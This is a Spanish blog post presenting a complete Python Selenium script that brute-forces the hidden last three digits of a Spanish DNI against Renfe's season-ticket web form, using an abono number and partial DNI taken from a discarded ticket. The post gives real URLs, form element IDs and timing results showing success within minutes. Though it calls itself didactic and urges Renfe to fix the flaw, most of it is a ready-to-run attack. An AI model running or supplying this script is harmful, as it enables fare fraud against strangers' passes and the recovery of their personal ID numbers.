Todos los días tengo que coger el tren para ir a trabajar. Hablando con un amigo que también tiene que ir en tren, se me ocurrió comentarle que la seguridad de los abonos es muy mala, ya que hay que formalizar cada viaje y sacar un billete, donde se muestra el número de abono y se ocultan los 3 últimos dígitos del DNI y la letra. Insistí en que era capaz de sacarme viajes con su abono si me daba uno de sus billetes…
Y me retó.
Y como creo que es un ejemplo estupendo de uso de WebDriver. pues aquí lo tenemos.
Además, podremos ver algunas de las características chulas de Python :D
Licencia
El código que aparece en esta página es puramente didáctico. No debe utilizarse en ningún caso para obtener beneficio alguno. No me hago responsable de su mal uso, dado que es necesario obtener un billete correspondiente a un abono. Es decir: No basta con emplear el código aquí expuesto sin más.
Sinceramente espero que alguno de los programadores de la web de Renfe lea este artículo y lo utilice para dos cosas: Por un lado, para evitar este fallo de seguridad. Por otro, para implementar pruebas para la página que tienen.
El problema
El problema podría enunciarse así: Dado el número de abono y las 5 primeras cifras del DNI, encontrar un DNI que permita formalizar viajes.
Necesitaríamos el billete de algún ingenuo con abono… os sorprendería la cantidad de billetes que deja la gente en sus asientos.
La solución va en Python, aunque también se puede hacer en Java u otro lenguaje.
Primera idea
Mi primera idea fue ver la solicitud y lanzar un montón de curl. Pero resulta que el DNI y el número de abono se cifran en cada llamada… Bueno, no es problema.
Podría utilizar sus mismas funciones JavaScript sin cifrar de su página para codificar los argumentos… Pero hay otra manera más sencilla:
Segunda idea
Siempre podemos recurrir a WebDriver, e ir navegando la página hasta conseguir entrar.
Aquí podemos ver varias cosas interesantes. Mi clase implementa el método mágico __iter__ que devuelve un iterador. En este caso, devuelvo un generador directamente, que irá recorriendo las terminaciones y generando un DNI completo para cada una.
Respecto al crack, vemos que la letra del DNI se puede generar automáticamente, por lo que el problema se reduce a la generación de los 1000 números secuenciales. Como todos los números tienen las mismas posibilidades, he decidido darle un poco de aletoriedad para tratar de jugar con ventaja.
Argumentos de entrada
Veamos cómo leer los argumentos de entrada:
1
2
3
4
5
6
7
parser=argparse.ArgumentParser(usage="Given the Abono data, retrieves the rest of the DNI",description="By MagMax>")parser.add_argument('-dni',action="store",required=True,help="Initial DNI numbers")parser.add_argument('-abono',action="store",required=True,help="Abono number")options=parser.parse_args()
Con eso es suficiente. Así no tengo que hardcodear mi DNI ni mi número de abono.
PageObjects
La mejor manera de usar WebDriver es mediante PageObjects. De esta manera, si modifican la página me será muy sencillo adaptar mi crack, y la implementación quedará oculta respecto del uso de la misma:
classPageObject(object):def__init__(self,browser):self._browser=browserclassInitialPage(PageObject):@staticmethoddefcreate(browser):browser.get('https://www.renfe.com/')returnInitialPage(browser)defgo_ticket_page(self):self._browser.get('https://venta.renfe.com/vol/indiceAbonos.do?inirenfe=SI')returnTicketPage(self._browser)classTicketPage(PageObject):TYPE_MONTHLY='492'TYPE_WEEKLY='490'defselect_ticket_type(self,ticket_type=TYPE_MONTHLY):select=Select(self._browser.find_element_by_id('comboListaAbonos'))select.select_by_value(ticket_type)defgo_formalization_page(self):self._browser.find_element_by_link_text('Formalización de Viajes').click()returnFormalizationPage(self._browser)classFormalizationPage(PageObject):defwrite_code(self,code):self._browser.find_element_by_id('numAbonoBus').send_keys(code)defwrite_dni(self,dni):box=self._browser.find_element_by_id('dniCifBus')box.send_keys('\b'*10)box.send_keys(dni)defreload(self):self._browser.get('https://venta.renfe.com/vol/formalizacionAbonos.do?cdgoAbonoElegido=492&operAbonoElegido=AV')defis_valid(self):self._browser.find_element_by_link_text('Buscar').click()try:WebDriverWait(self._browser,30).until(lambdax:x.find_element_by_id('link_botones_nav_href').is_displayed())exceptTimeoutException:returnnotself._browser.find_element_by_id('link_botones_nav_href').is_displayed()returnFalse
Como veréis, sólo he modelado aquello que me hace falta: el botón de la página principal para ir a la página de tickets; la selección de tickets; el botón para ir a la página de formalizaciones; escribir el código del abono, escribir el DNI y pulsar el botón para entrar. Además tengo una comprobación de si he conseguido entrar o no (comprobando el mensaje de error).
He tenido que hacer algún parchecillo, ya que el mensaje a veces se quedaba inaccesible, así que se recarga la página. Así consigo seguir aprovechándome de la sesión y seguir por donde iba (y evito posibles leaks de la página que me tirarían el navegador).
Con eso puedo crearme el programa principal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
driver=webdriver.Chrome()try:initial_page=InitialPage.create(driver)ticket_page=initial_page.go_ticket_page()ticket_page.select_ticket_type()formalization_page=ticket_page.go_formalization_page()formalization_page.write_code(options.abono)fordniinDniGenerator(options.dni):print'Testing DNI:',dniformalization_page.write_dni(dni)ifformalization_page.is_valid():print'The required DNI is',dnibreakfinally:driver.close()
Creo que es autoexplicativo…
Este pequeño bucle comprueba aproximadamente 1 DNI cada 2 segundos… Eso significa que en 2000 segundos los habría probado todos. Reventar el abono de mi amigo en media hora no está nada mal, ¿verdad?
Tiempos
Tardé un viaje en tener listo el programa (qué paradoja, ¿eh?). Tenía algunos bugs y tal que tuve que arreglar en casa, ya que la conexión del móvil me ralentizó bastante.
Realmente me basé en un programa que ya tenía y que me permitía sacar billetes rápidamente, cuando la web de Renfe no mostraba la selección de asientos. Esto ya lo han arreglado y mi script no es tan útil.
Mi máquina de viaje es un Intel Atom N450 con 1Gb de RAM, y es donde he lanzado las pruebas:
Una ejecución encontró el resultado en el intento 128, tardando 5'46’’.
Otra, en el intento 914, tardó 37'18’’
La tercera, intento 332 y 13'56’’
Más información
Podéis encontrar más información sobre los PageObjects en el artículo que escribí al respecto.
#!/usr/bin/env python# -*- coding:utf-8; tab-width:4; mode:python -*-importargparseimportrandomfromseleniumimportwebdriverfromselenium.common.exceptionsimportNoSuchElementException,TimeoutExceptionfromselenium.webdriver.support.uiimportSelectfromselenium.webdriver.support.waitimportWebDriverWaitclassPageObject(object):def__init__(self,browser):self._browser=browserclassInitialPage(PageObject):@staticmethoddefcreate(browser):browser.get('https://www.renfe.com/')returnInitialPage(browser)defgo_ticket_page(self):self._browser.get('https://venta.renfe.com/vol/indiceAbonos.do?inirenfe=SI')returnTicketPage(self._browser)classTicketPage(PageObject):TYPE_MONTHLY='492'TYPE_WEEKLY='490'defselect_ticket_type(self,ticket_type=TYPE_MONTHLY):select=Select(self._browser.find_element_by_id('comboListaAbonos'))select.select_by_value(ticket_type)defgo_formalization_page(self):self._browser.find_element_by_link_text('Formalización de Viajes').click()returnFormalizationPage(self._browser)classFormalizationPage(PageObject):defwrite_code(self,code):self._browser.find_element_by_id('numAbonoBus').send_keys(code)defwrite_dni(self,dni):box=self._browser.find_element_by_id('dniCifBus')box.send_keys('\b'*10)box.send_keys(dni)defreload(self):self._browser.get('https://venta.renfe.com/vol/formalizacionAbonos.do?cdgoAbonoElegido=492&operAbonoElegido=AV')defis_valid(self):self._browser.find_element_by_link_text('Buscar').click()try:WebDriverWait(self._browser,30).until(lambdax:x.find_element_by_id('link_botones_nav_href').is_displayed())exceptTimeoutException:returnnotself._browser.find_element_by_id('link_botones_nav_href').is_displayed()returnFalseclassDniGenerator(object):def__init__(self,prefix):self._prefix=prefixdef__iter__(self):terminations=range(1000)random.shuffle(terminations)return(self.__complete_dni(n)forninterminations)def__letter_for_dni(self,n):return'TRWAGMYFPDXBNJZSQVHLCKE'[n%23]def__complete_dni(self,suffix):number='{prefix}{suffix:03}'.format(prefix=self._prefix,suffix=suffix)returnnumber+self.__letter_for_dni(int(number))parser=argparse.ArgumentParser(usage="Given the Abono information, retrieves the rest of the DNI",description="By Miguel Angel Garcia <miguelangel@magmax.org>")parser.add_argument('-dni',action="store",required=True,help="Initial DNI numbers")parser.add_argument('-abono',action="store",required=True,help="Abono number")options=parser.parse_args()driver=webdriver.Chrome()try:initial_page=InitialPage.create(driver)ticket_page=initial_page.go_ticket_page()ticket_page.select_ticket_type()formalization_page=ticket_page.go_formalization_page()fordniinDniGenerator(options.dni):print'Testing DNI:',dniformalization_page.reload()formalization_page.write_code(options.abono)formalization_page.write_dni(dni)ifformalization_page.is_valid():print'The required DNI is',dnibreakfinally:driver.close()